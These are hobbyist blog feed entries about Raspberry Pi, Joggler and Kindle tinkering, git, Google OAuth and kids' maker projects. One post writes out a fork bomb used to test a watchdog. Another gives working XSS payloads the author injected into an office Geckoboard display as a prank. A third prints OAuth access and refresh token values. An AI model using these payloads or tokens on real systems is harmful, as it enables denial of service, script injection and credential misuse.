I have lots to blog about but at the moment but, I really want to add a note about git(not <a href="http://github.com">github.com</a>, which I have already <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=github">blogged about</a>. Perhaps its just me but I had associated all things Git with GitHub. 

I wanted to do source control on my local machine and move away from folders called "Projectx good on 20140321_backup3" but at the same time I did not want to install a server or make everything public on GitHub. I knew GitHub had private repositories but those are not free. I asked around at it seemed to be common knowledge that git(not github) would work locally without a server!! But, strangely I could not find any information on this, all my Google results were for running a local git server :(

The one exception was the <a href="http://git-scm.com/documentation/">official documentation</a>, and only after I had given up looking for blogs discussing this did I reluctantly try the this tome. It's not that bad and I found what I needed in short order.

You can skip this step if you already have a project setup
<code>mkdir myproject
cd myproject
...do some work, create/edit files etc</code>

In your project folder just run
<code>git init
git add *
git status
git commit</code>

That will initialise the git repository, which is the hidden folder <span class="em">.git</span>, then add all the files to be commit queue, check the status, are these the files you want added? Finally the commit itself where you can add a comment e.g. "Initial commit adding the project to git".

That's it! Almost too easy, there are number of things you can also do. My common additional step is add a <span class="em">.gitignore</span> file to avoid checking in all the backup files the editors create, I was also able to avoid checking in the node_modules folder that was dynamically generated.

Git for the WIN!
</description>
</item>
<item>
<title>How not to race the watchdog with fsck</title>
<pubDate>Sun, 03 May 2015 12:02:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2015.html#p030520151202</link>
<description>
So a quick note about setting up the [em]Watchdog[/em] on Raspberry Pi.
<code>sudo apt-get update -y
sudo apt-get upgrade -y
sudo rpi-update -y
echo "bcm2708_wdog" | sudo tee -a /etc/modules
sudo apt-get install watchdog -y
sudo update-rc.d watchdog defaults</code>

Edit [em]/etc/default/watchdog[/em] and add
<code>watchdog_module="bcm2708_wdog"</code>
and uncomment <code>max-load-1 = 24</code> and <code>watchdog-device</code> in [em]/etc/watchdog.conf[/em]
Then to test, run <code>sudo /etc/init.d/watchdog start
/etc/init.d/watchdog status</code>
<code class="output">[ ok ] watchdog is running.</code>

and execute a logic bomb that will consume all resources and force the system to run out of memory <code> : (){ :|:&amp; };:</code>
It rebooted and I was happy, so I thought I will just make sure with all these reboots the file system does note get "dirty" by forcing a [em]fsck[/em] on reboot

<code>sudo touch /forcefsck
sudo shutdown -r now</code>
CODE RED! ALERT! ALERT! the Pi is just rebooting over and over again!!
<img src="images/fail.gif" alt="text reading Epic Fail">

I had introduced a race condition. The [em]Watchdog[/em] was making sure the Pi booted quickly and the [em]fsck[/em] was taking to long to check the card, causing a reboot.

Popped the card out of the Pi into a reader then in linux removed the [em]/forcefsck[/em] file, now everyone is happy again.
</description>
</item>
<item>
<title>Watchdog cannot see Pi sleeping threads</title>
<pubDate>Sat, 02 May 2015 09:41:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2015.html#p020520150941</link>
<description>
So my previous <a href="http://www.jumpstation.co.uk/flog/Dec2014.html#p161220142208">Dropbox based Raspberry Pi security camera</a> has a minor flaw. OK its a big flaw, it crashes every two to three days. When I say crashes it still keeps running but no images are transferred to Dropbox and I can not [em]ssh[/em] into the machine.
<code>user@machine ~ $ ssh pi@192.168.7.15</code>
<code class="output">pi@192.168.7.15's password: 
Linux pideskcam 3.18.11+ #776 PREEMPT Mon Apr 6 13:13:58 BST 2015 armv6l

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 14 18:55:50 2015 from machine.home
</code>
and it would just sit there never giving an error or any further response.
<code>ssh pi@192.168.7.15 uptime</code>
<code class="output">pi@192.168.7.15's password:</code>
did the same.
Annoyingly [em]ping[/em] would always indicate the machine was up, so something was working.

I <a href="http://raspberrypi.stackexchange.com/questions/29516/b-pi-hangs-what-watchdog-settings-do-i-need">posted</a> my problem on the awesome <a href="http://raspberrypi.stackexchange.com">raspberrypi.stackexchange.com</a>

Which also notes a daily [em]cron[/em] based reboot was not sufficient and that even with the hardware watchdog* enabled I could not get a stable, unstable system.
I am quite happy for this rig to reset regularly as long as when it comes back up it starts capturing images again. Crashes never seem to happen under picture taking load.

What came out of that <a href="http://raspberrypi.stackexchange.com/questions/29516/b-pi-hangs-what-watchdog-settings-do-i-need">post</a> was something I have never come across before, the Linux [em]OOM Killer[/em] or <a href="http://linux-mm.org/OOM_Killer">"Out Of Memory process killer"</a>. When a system runs low on memory this little known kernel process decides that it is better to kill some other processes rather than let the machine starve itself of resources. Which is a nice idea but I have no idea what it is killing that killing ssh/bash/login and I cannot find a way to turn it off.

Next I worked on the assumption I was running out memory. I added
<code>sudo min-memory=1</code> 
to [em]/etc/watchdog.conf[/em]. The [em]1[/em] represents 1 page of memory not 1mb/kb etc.

That worked, once. Then I had the same problem again. This time I looked at what I had added to the system i.e. the [em]Dropbox[/em] script. Maybe the script was failing and never completing and then Motion created another instance for the next image frame and so on making things steadily worse.

The <a href="http://raspberrypi.stackexchange.com/questions/29516/b-pi-hangs-what-watchdog-settings-do-i-need">post</a> also noted the number of sleeping threads in [em]top[/em], 1554.

<code>while : ;do ps -e S | egrep drop | egrep  -o "[^S]+";echo "====";sleep 10; done</code>

which will report any [em]Dropbox[/em] threads that have gone into [em]Sleep[/em] status every 10 seconds. But every time I looked it was between 60-70 :(

Now I am trying something similar to see what is using up all these threads
<code>while : ;do ps -e S ;ps -e S|wc -l; sleep 60; done</code>
Once a minute list all Sleeping threads and the total count...

*Next post will be a cautionary tale about enabling the Watchdog.
</description>
</item>
<item>
<title>Google oAuth revisited with a new token</title>
<pubDate>Sat, 02 May 2015 08:36:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2015.html#p020520150836</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Apr2015.html#p160420152128">Continuing my node.js Google Calendar on the Raspberry Pi thing</a>. If you remember I had found that the credentials were not being preserved and I had to log in to Google continuously.

To avoid more embarrassment I opted to do further development on my Gentoo desktop machine, so I could easily log in to Google and do the authorisation steps.

So it was really easy to just add some node magic <span class="em">require("fs")</span> dump the authorisation token to a file and at the start of the app read in that file!

Job done I can go home now ... No!

The tokens are different after the first one and they expire. We need to force user acceptance each time we have no <span class="em">refresh_token</span>!?

Set the parameter <span class="em">generateAuthUrl</span> to include <span class="em">approval_prompt: 'force'</span>

Now the app will force the user to allow access to the app again, but this time an extra piece of the puzzle comes in the resulting token.
<code class="output">{ access_token: 'ya29.XwGZIU4znRV79yY0EFxMI4GbD-4xVpLbYlNwzIh3ZzGY9bJdUP3R5J_W4eDPotNEl4rHh4F6DkzJg',
  token_type: 'Bearer',
  refresh_token: '1/uwCkNebyF-H9LA7e65EwJX4FS9rfjcXZhHAb5t2lpM',
  expiry_date: 1429911157900 }

all previous tokens had been
<code class="output">{ access_token: 'ya29.XwFk4qFf-Y0fH0IDuLWfN6bSU-8eYcwRIM9p-QbxgOZY40iBgYi8RwILrm8Vt2EtoLg0uisQ4P5tA',
  token_type: 'Bearer',
  expiry_date: 1429910935749 }
</code>
This new token with <span class="em">refresh_token</span> should now last forever! Or until the user manually revokes it.

Final test

copy the token file and the newly updated app.js to the Pi and run

<code> curl -L http://localhost:2002/</code>

and low and behold it only bloody works!!

and after a day to see if the token had expired(this is what was happening with the token when missing the <span class="em">refresh_token</span>) ...

OMG it WORKS!!!

Now I need to actually do something with the data ...
</description>
</item>
<item>
<title>Jogging for a Google calendar OAuth winning failure</title>
<pubDate>Thu, 16 Apr 2015 21:28:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2015.html#p160420152128</link>
<description>
So after my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=joggler">Joogler fun</a> now what to show on it?

Well I have a number of ideas but I did come across this Google calendar reader in node
http://www.matt-toigo.com/dev/pulling_google_calendar_events_with_node

Step one: Get nodejs
<code>sudo apt-get install node npm</code>
easy!
but its an old OLD version and not compatible with the modules in the tutorial :(

Numerous sources state that you can compile NodeJS on the Raspberry Pi
so I tried 
<code>curl http&colon;//nodejs.org/dist/v0.12.2/node-v0.12.2.tar.gz -O  node-v0.12.2.tar.gz
./configure
make</code>
 ...
hours later ... bleurk!
known issue with ARM/Raspberry Pis and v8 code.

I need a pre-compiled version of a reasonable age(NodeJS had been producing a few Raspberry Pi specific ARM6 builds but nothing current). 
<code>wget http&colon;//node-arm.herokuapp.com/node_latest_armhf.deb
sudo dpkg -i node_latest_armhf.deb</code>
and
<code>node -v</code>
shows 
<code class="output">v0.12.1</code>
YMMV(That was the latest release at the time I wrote all this)
<code>make package.json
npm install</code>
no errors!!

Then I followed the instructions at
http://www.matt-toigo.com/dev/pulling_google_calendar_events_with_node
making sure to use "http" instead of "https" in the "Authorised Javascript Origins"
Got all the data and setup "app.js"

<code>node app.js</code>
<code class="output">Listening at http&colon;//0.0.0.0:2002</code>

now what?

Connected from my Gentoo machine via the host name :2002 but got blocked, went back to Google app settings Credentials section and add into the 
Redirect URIs
http&colon;//{PIsLOCALPIADDRESS}:2002/oauth2callback 

then visiting http&colon;//{PIsLOCALPIADDRESS}:2002
got me in ... and then it failed to redirect back to http&colon;//localhost:2002
that address is in the "app.js", change that and ... nope
"invalid_request device_id and device_name are required for private IP:"
then the try the host name instead of the IP address... nope
"device_id and device_name are required for private IP"

<code>sudo apt-get install w3m</code>
another ssh shell
<code>w3m http&colon;//www.google.com</code>
Try and log in. Although Google gives me an error on completion of the two authentication, a direct URL (SHIFT+U) shows I am now logged in.
quickly set the app.js back to using 
"http&colon;//localhost:2002"
and hit it
<code>w3m http&colon;//localhost:2002</code>
for @^%** sake, "error javascript is not enabled"

and this is a B+ so no RCA port, grrr

Find dodgy VGA monitor with adaptor ...
<code>startx</code>
Start an LXTerminal and run "node app.js"
Open Epiphany browser and navigate to http&colon;//www.google.com to log in. Two auth, comes up with the allow calendar app screen and ... the Accept button is greyed out!!

Nothing on the screen appears to enable it, but is just the Pi being slow, eventually it is active and I click it and...

I get a blob of JSON

Which is actually a good thing and shows the events for the current day.

So I killed X and ran "node app.js" again then tried hitting  
<code>w3m http&colon;//localhost:2002</code>
which gave a me the "JavaScript not enabled error" and 
<code>curl -L http&colon;//localhost:2002 </code>
just a web page with Google's optimised unreadable code.

I think killing of the node app in X has invalidated my OAuth session...

Yep, the bottom of the <a href="">tutorial</a> states

<code class="output">This implementation persists the OAuth refresh token in memory which is not ideal. You only get a refresh token when you initially authorize an application. If you do not have a proper refresh token, requests to Google will fail after an hour. The workaround for this is to revoke your application's access from your Google account whenever you start it or to persist the token information in a data store.</code>

This is one of those sort of "fail wins"! POC(Proof Of Concept) works I just need to make it a bit ... better...
</description>
</item>
<item>
<title>Jogging the Joggler with a larger stick finds multiple wins</title>
<pubDate>Sat, 04 Apr 2015 10:31:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2015.html#p040420151031</link>
<description>
I <a href="http://www.jogglerwiki.com/forum/viewtopic.php?f=2&t=2194">posted</a> my <a href="http://www.jumpstation.co.uk/flog/Apr2015.html#p030420151653">Joggler failure</a> on the <a href="http://www.jogglerwiki.com/">Joggler Wiki</a> and got back an interesting response, try a larger memory stick.

Well there was no reason not to, so I dug out a 16GB micro SD card with USB adaptor I had been given for Christmas and wrote the same image. Booted up and same as last time, running
<code>sudo apt-get install openssh-server</code>
Gave 404 errors for "python-requests" and 
<code>sudo apt-get upgrade</code>
allows
<code>sudo apt-get install openssh-server</code>
to work, but this time instead of rebooting
<code>sudo shutdown -r now</code>
I opted to completely shut the system down and actually pull the power out.
<code>sudo shutdown -h now</code>

At any rate it worked, Joggler and screen came up and I could ssh into it.

Then (via ssh)
<code>export DISPLAY=:0
chromium-browser --app http://google.com</code>

ran chrome with on the Joggler!

Now back to the naughty 4GB stick. I downloaded the <a href="http://joggler.exotica.org.uk/ubuntu/">ubuntu base server</a> which has no desktop (and is a lot smaller) and burnt that.

This booted quickly to a console and I logged in (joggler:joggler) and ran the suggested
<code>sudo apt-get install --no-install-recommends lubuntu-desktop</code>
But that quickly got me into dependency hell!
So I tried 
<code>sudo apt-get install lxde</code>
and after a few hours downloading and installing ...
"startx" needs "xinit"
"xinit" needs "Xserver", uh oh DEPENDENCY HELL!!

but wait maybe I can just display an image in the frame-buffer...
after much googling I installed "fbi"(stupid name when trying to Google anything about it!)
<code>sudo fbi -T 1 --noverbose /usr/share/icons/hicolor/256x256/apps/gcr-gnupg.png</code>
Where -T is not in the man page but is in the --help output and is needed for ssh sessions and --noverbose is an undocumented feature that gets rid of the info bar at the bottom. The frame-buffer runs in full 800x480, the Joggler's native resolution.
I can set this up as a sideshow of stats or other information from another machine via ssh, but there is a small problem(for me).

I am sure some people would like this issue but not me. In frame-buffer mode the screen never slept and the Joggler uses up a fair amount of power with its back-lit screen. The suggested 
<code>echo 1 > /sys/class/graphics/fb0/blank</code>
I just could not get to work even running various commands with "sudo" and changing permissions.

Sooo I rewrote the 4GB stick with <a href="http://joggler.exotica.org.uk/ubuntu/">Xubuntu</a> again and expected either for it to fail again(I still had my 16GB stick as backup) or that by following my new powering down regime that it would work correctly. What I did not expect was that it would work flawlessly. No 404 errors, no need to even run "update".

Then I also found I could run Chromium in kiosk mode via ssh to a server I control.
<code>export DISPLAY=:0
chromium-browser --kiosk http://example.com</code>
and because X is hosting all this the screen happily sleeps until someone touches the screen.

WIN WIN WIN!
</description>
</item>
<item>
<title>New Kindle not hackable</title>
<pubDate>Fri, 03 Apr 2015 16:56:11 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2015.html#p030420151656</link>
<description>
Got a free Kindle(long boring story)
First thing it wants to do is talk to the mother-ship, but I really do not want the device buying books for me.

I found a Kindleberry using the Kindle as a screen for the Raspberry Pi
http://www.ponnuki.net/2012/09/kindleberry-pi/
and a weather station 
http://www.mpetroff.net/archives/2012/09/14/kindle-weather-display/
which led to the jail-breaking instructions
http://wiki.mobileread.com/wiki/Kindle_Hacks_Information#Jail_break_JB

First job was to work out what Kindle I have.
http://wiki.mobileread.com/wiki/Kindle_Serial_Numbers
its a 90C6 	Kindle Basic (2014) KT2, BASIC 	[Support added in KindleTool 1.6.3]

Downloaded the required kindle-jailbreak-0.13.N.zip
Which contained
<code class="output">ChangeLog.txt
README
README.txt
Update_jailbreak_0.13.N_dx_install.bin
Update_jailbreak_0.13.N_dx_uninstall.bin
Update_jailbreak_0.13.N_dxg_install.bin
Update_jailbreak_0.13.N_dxg_uninstall.bin
Update_jailbreak_0.13.N_dxi_install.bin
Update_jailbreak_0.13.N_dxi_uninstall.bin
Update_jailbreak_0.13.N_k2_install.bin
Update_jailbreak_0.13.N_k2_uninstall.bin
Update_jailbreak_0.13.N_k2i_install.bin
Update_jailbreak_0.13.N_k2i_uninstall.bin
Update_jailbreak_0.13.N_k3g-3.0-to-3.2_install.bin
Update_jailbreak_0.13.N_k3g_install.bin
Update_jailbreak_0.13.N_k3g_uninstall.bin
Update_jailbreak_0.13.N_k3gb-3.0-to-3.2_install.bin
Update_jailbreak_0.13.N_k3gb_install.bin
Update_jailbreak_0.13.N_k3gb_uninstall.bin
Update_jailbreak_0.13.N_k3w-3.0-to-3.2_install.bin
Update_jailbreak_0.13.N_k3w_install.bin
Update_jailbreak_0.13.N_k3w_uninstall.bin
VERSION
WHERE_ARE_THE_SOURCES.txt

</code>
<img src="images/fail.gif" alt="text reading Epic Fail">
Turns out that my Kindle (KT2) is not supported, the only option is to solder a special cable directly to the motherboard!

So I gave up and just registered my kindle, which shows on Amazon that it is a generation 7 device.

Plugged it into Linux and was surprised to find it just shows up as a drive. Maybe there is hope for this black&amp;white device after all.

</description>
</item>
<item>
<title>Trying to jog an old age Joggler</title>
<pubDate>Fri, 03 Apr 2015 16:53:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2015.html#p030420151653</link>
<description>
I have a <a href="http://en.wikipedia.org/wiki/O2_Joggler">Joggler</a> that has sat on my self for like, forever waiting to be used for something so...

Lets try <a href="http://joggler.exotica.org.uk/ubuntu/">Xubuntu</a> as its light weight and the Joggler is not a power-house, but it does have wi-fi and touch screen.

Burn the image to a USB stick and wait an age for the machine to boot up, but there its is a full Xubuntu desktop!

No.1 job get ssh running, cos' it's not on by default.

Although I have the ethernet cable plugged in, the Joggler does not try and use it by default. Enable "Auto Ethernet" from the network manager icon sitting next to the Volume icon in the top right. Then run a Terminal from the menu icon top left.

<code>sudo apt-get install openssh-server</code>
should install the ssh server for me, but instead all I get is 404 errors about the "python-requests" packages, odd maybe I just need to update.
<code>sudo apt-get update</code>

That goes well and now it will install the ssh server, reboot and screen is dead, no X
<img src="images/fail.gif" alt="text reading Epic Fail">

Bu I can ssh-ing in, that works and it appears everything X related has segfaulted. 

so I try <code>sudo apt-get upgrade</code> ... takes forever

Then when I issue the <sudo shutdown -r now</code> I can see the Xubuntu logo and some weird screen corrupts.

The Xubuntu loader comes up but I am pretty sure it did that last time.

No response from the screen, after ssh-ing in and it is libfontconfig.so.1.8.0 that is segfaulting everything else and ... nobody else on the entire internet seems to be having any problem with it.

Maybe I upgraded something that I should not have, lets rebuild the USB stick and start again, that means painful on-screen keyboard work :p
hmm, scratch that I am plugging in a hub with a keyboard.

<code>time gzip -dc /home/rednuht/temp/xubuntu_14.04-v1.1-ext4.img.gz | sudo dd of=/dev/sdd</code>
took 38:41 

But after booting with a keyboard life is sooo much easier.
(after enabling ethernet from the network icon top right next to volume and then running terminal from menu top left)
<code>sudo apt-get install openssh-server</code>
which results in same 404 errors for "python-requests"

Which in turn leads to the fact Ubuntu 14.04 is EOL(end of life) and the repositories no longer support it.

Setting up old-releases.ubuntu.com just showed more broken-ness :(
<img src="images/fail.gif" alt="text reading Epic Fail">
</description>
</item>
<item>
<title>XSS saves the April Fools day</title>
<pubDate>Wed, 01 Apr 2015 22:51:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2015.html#p010420152251</link>
<description>
At work we have two large flat screen TVs that use Raspberry Pis to display various things via a web based system called <a href="http://www.geckoboard.com">Geckoboard</a>. One TV shows the company stats, share price etc and the one near me, is for the Developers.

The Developers have set the board up show the status of the latest builds, release codes/dates and some other dev-y type stats. The <a href="http://www.geckoboard.com">Geckoboard</a> api makes this a breeze. Get the key from the app server and post JSON to it, job done.

I was looking at the simple Text widget and found that I could send HTML in the JSON and get larger and differently coloured fonts without too much hassle. But today is April 1st and I wanted to have some fun!

What about executing JavaScript when sending the updated JSON data package to the board?
Well, they strip anything that looks to dangerous so I started looking at known XSS attack vectors.

Like this one.
<code>&lt;img src/ onerror=&quot;document.body.style.backgroundColor=#F00&quot;&gt;</code>
Which creates an image that will always fail, causing its "onerror" function to fire which in turn sets the background RED. But that is not very exciting, what about turning the screen upside down?
<code>&lt;img src/ onerror=&quot;jQuery('body').css('-webkit-transform','rotate(180deg)')&quot;&gt;</code>
He he! the display is now upside down.

By the way to encode that attack for delivery was fun

<code>htmlBlob="{\"text\":\"Active&lt;img style=\\\"display:none\\\" src=/ onerror=\\\"jQuery('body').css('-webkit-transform','rotate(180deg)')\\\"&gt;\",\"type\":0}"</code>

and then it was suggested that I make the screen spin, seemed simple enough, just pass the right angle to the jQuery call.

<code>&lt;img style="display:none" src=/ onerror="window.r=0;setInterval(function(){ if (r<360) r+=15; else r=0; jQuery('body').css('-webkit-transform','rotate('+r+'deg)')},30000)"&gt;</code>

So, that's 15 degrees every 30 seconds. It worked, but with one teeny tiny problem. The <a href="http://www.geckoboard.com">Geckoboard</a> was updating its content every 30 minutes or so without refreshing the page. Each time it did so the browser created a new setInterval. So now every 30 seconds x2 the angle increased and x3 and x4...

By now it was jumping all round the place, but luckily it was lunch time and the end of April Fools.

I quickly ssh'd to the Pi killed Chrome and restarted with the standard messages sans the XSS injection.
</description>
</item>
<item>
<title>Alexs 3DS Claymation animations</title>
<pubDate>Mon, 23 Mar 2015 23:09:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p230320152309</link>
<description>
Alex got a rainbow of model clays and using just a standard Nintendo 3DS made the following stop motion videos(in one weekend).

<iframe width="560" height="315" src="https://www.youtube.com/embed/8XFgZoFpKEQ" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/ZCoVSLBVdqk" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/6kXV543TV4g" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/JMbjCMIf_Eo" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/JULiaN9mRAI" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/JZXbywmZ5b4" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/IgK0spe0IXE" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/6X8lfriotwI" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/CfkEGNQpNzw" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/4fev1lEJVUU" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/Yn80RoVrwng" frameborder="0" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/9FYUYFLN24Q" frameborder="0" allowfullscreen></iframe>

These were the best ones we deleted a load!
</description>
</item>
<item>
<title>Time lapse Lego arctic base build</title>
<pubDate>Mon, 23 Mar 2015 22:56:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p230320152256</link>
<description>
When uploading <a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p230320152252">that video</a> I found a load of images time lapse style that we had taken at Christmas of the kids building the big Lego arctic set.
<iframe width="420" height="315" src="https://www.youtube.com/embed/V1Yp92FiKTc" frameborder="0" allowfullscreen></iframe>

Think I need to work on my ffmpeg foo regarding the frame timing.
more videos later,but not mine or Joseph's...
</description>
</item>
<item>
<title>6yr old teach you how to install talking xloborg</title>
<pubDate>Mon, 23 Mar 2015 22:52:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p230320152252</link>
<description>
This weekend has been all about videos.

First off Joseph(who's 6) teaches you how to use the <a href="https://www.piborg.org/xloborg">XLoBorg</a> that he got in his Pass the Parcel bag from the <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=party">Raspberry Pi Birthday party</a>. Thanks <a href="https://www.piborg.org/">PiBorg</a> for donating that.

In this video he teaches you how to prepare the Pi, install the board, set it up, get it working and then make it talk!
<iframe width="560" height="315" src="https://www.youtube.com/embed/-9QG7b9r640" frameborder="0" allowfullscreen></iframe>


</description>
</item>
<item>
<title>drawdio and OSHW RGB badge solder kits make kids very happy</title>
<pubDate>Wed, 18 Mar 2015 21:50:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p180320152150</link>
<description>
More more more <a href="/flog/tags.html?tag=party">party</a> maker fun.

In our "Pass the Parcel" bags we got some soldering kits from <a href="http://www.watterott.com/en/Kits">watterott electronic</a> (massive site, could get lost for days).

<a href="http://www.watterott.com/en/Drawdio-Kit">Drawdio</a> Noisy electronic pencil (sharpener supplied)
and
<a href="http://www.watterott.com/en/OSHW-RGB-Badge">OSHW-RGB-Badge</a> (that's Open Source HardWare)

First up I had the kids watch some of the cool videos showing what the <a href="https://github.com/watterott/Drawdio">drawdio</a> could do.
<a href="https://www.youtube.com/watch?v=Qmp-Qi7-ltY">Sylvia's Super-Awesome Maker Show: Episode 01, Drawdio</a>
Once they were hooked, we had a quick safety lesson and the free bright orange kids safety glasses from <a href="http://www.ragworm.eu/index.php"></a> stand become indispensable.

There are quite a few components and it was a bit daunting, what with the printed instructions being in German. We used <a href="http://learn.adafruit.com/drawdio">Adafruits</a> guide, but I have since found the <a href="https://github.com/watterott/Drawdio">official one</a>. I would either holder the iron or the solder and the kids would take turns to attach the components. We all learned a lot about the different components and which ones can be attached in what orientation.
<img src="images/drawdio.jpg" alt="Completed drawdio kit" >

The Drawdio did not quite work. First off it just did not seem to work at all but the more handling it got the more sensitive it got. But the user had to touch the graphite directly it did/does not work through a drawn line. Which is odd because if you put a piece of wire down to take the place of the pencil line it does work. Not really a problem, the kids love it.

I wished we had started with the <a href="http://www.watterott.com/en/OSHW-RGB-Badge">OSHW-RGB-Badge</a> it has only four components to solder and a large area to do it in.

Having got our hands dirty earlier in the week with the <a href="http://www.watterott.com/en/Drawdio-Kit">Drawdio</a> both kids found it very easy to complete the badge.

<img src="images/oshw-rgb-badge.jpg" alt="Completed OSHW-RGB-Badge kit, showing LED on front and layout on reverse">

The badges worked brilliantly. Just turn them on and the large and very bright LED starts pulsing and cycling colours. Very proud both my eight year old and six year old's to a badge to school to show off. Which was great until Alex tried to remove the battery in the car and it has disappeared into the seats :(

<img src="images/kids-drawdio-oshw-rgb-badge.gif" alt="Alex and Joseph showing off there newly completed Drawdio and OSHW RGB badges while sporting ragworm safety glasses">

And believe it or not there is still MORE stuff in our <a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p020320151933">swag collection</a> to investigate, soon.
</description>
</item>
<item>
<title>oreilly raspberry pi ebook give away is big DRM free success</title>
<pubDate>Tue, 17 Mar 2015 22:49:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p170320152249</link>
<description>
More <a href="/flog/tags.html?tag=party">party</a> related fun.

This time it was an obscure looking leaflet at the bottom of each of our party bags. It was a free eBook from <a href="www.oreilly.com/">O'Reilly books</a>. So we each got a very nice DRM free Raspberry Pi eBook.

Thanks <a href="www.oreilly.com/">O'Reilly books</a>. Out of the many choices we choose;

<a href="http://shop.oreilly.com/product/0636920029595.do">Raspberry Pi Cookbook</a>

<a href="http://shop.oreilly.com/product/0636920029083.do">Raspberry Pi Hacks</a>

<a href="http://shop.oreilly.com/product/0636920031994.do">Make a Raspberry Pi-Controlled Robot</a>

Really impressed that everything is DRM free so we can load these onto our Kindle Fires!
</description>
</item>
<item>
<title>Baby boogie scratch book fun</title>
<pubDate>Tue, 17 Mar 2015 22:40:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p170320152240</link>
<description>
Last time it was Alex using <a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p170320152233">&quot;Adventures in Raspberry Pi&quot; book from the Raspberry Pi 3rd Birthday</a> but what does Joesph think of it?

Knowing that has brother had had fun in Scratch was enough(more than enough) to get him excited. Instead of a robot disco he was much more interested in Baby boogie. This time we managed the loop of loops pattern and selection of instruments instead of music loops.

One very happy six year old.

So is that the end of the continued value we have had from the <a href="/flog/tags.html?tag=party">party</a>? not yet!
</description>
</item>
<item>
<title>mad scratch robot disco saves book</title>
<pubDate>Tue, 17 Mar 2015 22:33:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p170320152233</link>
<description>
Even more <a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152118">Raspberry Pi 3rd Birthday</a> updates.

I mentioned the "Adventures in Raspberry Pi book"(signed by Carrie Anne), well it has sat on Alex's shelf and I wanted to make a point of how accessible the information was in it.

Gave him the book and asked him to look through it. "mumble mumble" and a half arsed flick through the book skipping 50 pages at a time and not looking any way. Tried a few encouraging words but no, to an eight year old a book is a book and that means work.

I pointed out that there was Scratch programming in it. "mumble, I know it all, mumble". There were some screen shots of using Scratch to do turtle style programming and one in particular shows a colourful repeating loop pattern. The moment I showed him that, it was "Can we try that? right now?"

Ha! Hooked!

The instructions were detailing drawing lines with the pen mode and looping the results. We quickly made a basic polygon and then swapped the "boring" values for <a href="/random.html">Random</a> ones. The drawing character (an imported robot) ran around in a crazy way. Then we made the pen size and colour random and that's when it got a bit surreal. The point of the exercise is to make ordered repeatable patterns. We ended up with the robot disco. You see the robot was rotating a random amount each frame and the pen size was randomly bigger than the entire screen, it did look like a disco. so we added some of the loop-able samples that come with Scratch.

One very happy eight year old.

Now what about the six year old?...
</description>
</item>
<item>
<title>firefox leak is now fireflop</title>
<pubDate>Sun, 15 Mar 2015 21:48:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p150320152148</link>
<description>
I have a massive list of stuff relating the further exploits of my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=firefox">FireFox memory leak</a> but 

TLDR;

It works no and I have no idea why.


So first up, I did manage to repeatedly show/hide the issue by commenting out the changes in
<code class="output">js/src/jit/MIR.cpp</code>

Leaking function
<code class="output">bool
MMod::fallible() const
{
    return !isTruncated() &&
        (isUnsigned() || canBeDivideByZero() || canBeNegativeDividend());
}</code>
Non leaking function
<code class="output">bool
MMod::fallible() const
{
    return !isTruncated();
}</code>

The fact that the leaky one has more checks is not lost on me.
So I contacted the author of this commit and got back a rather logical "allocate slightly less memory, if anything". I resolved to manually try all possible permutations of the additional checks until a culprit could be found...

Now its 4 months since I raised the bug and over 6 months since I started looking at the problem. This machine needs regular updates and it was one of those messy updates last week that I reckon fixed the leak. It involved a large number of packages, not least the Kernel and the ATI binary graphics card drivers.

Bottom line is simply, this issue I wished would go away by itself, has gone away by itself. Strangely I am not happy, would have loved to get the bottom of this. Still I can finally finish my home page animation widget.
</description>
</item>
<item>
<title>bluetooth fake madness address change failure</title>
<pubDate>Mon, 09 Mar 2015 21:47:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152147</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152120">continued Bluetooth-ing</a>
<a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152128">bdaddr built</a>

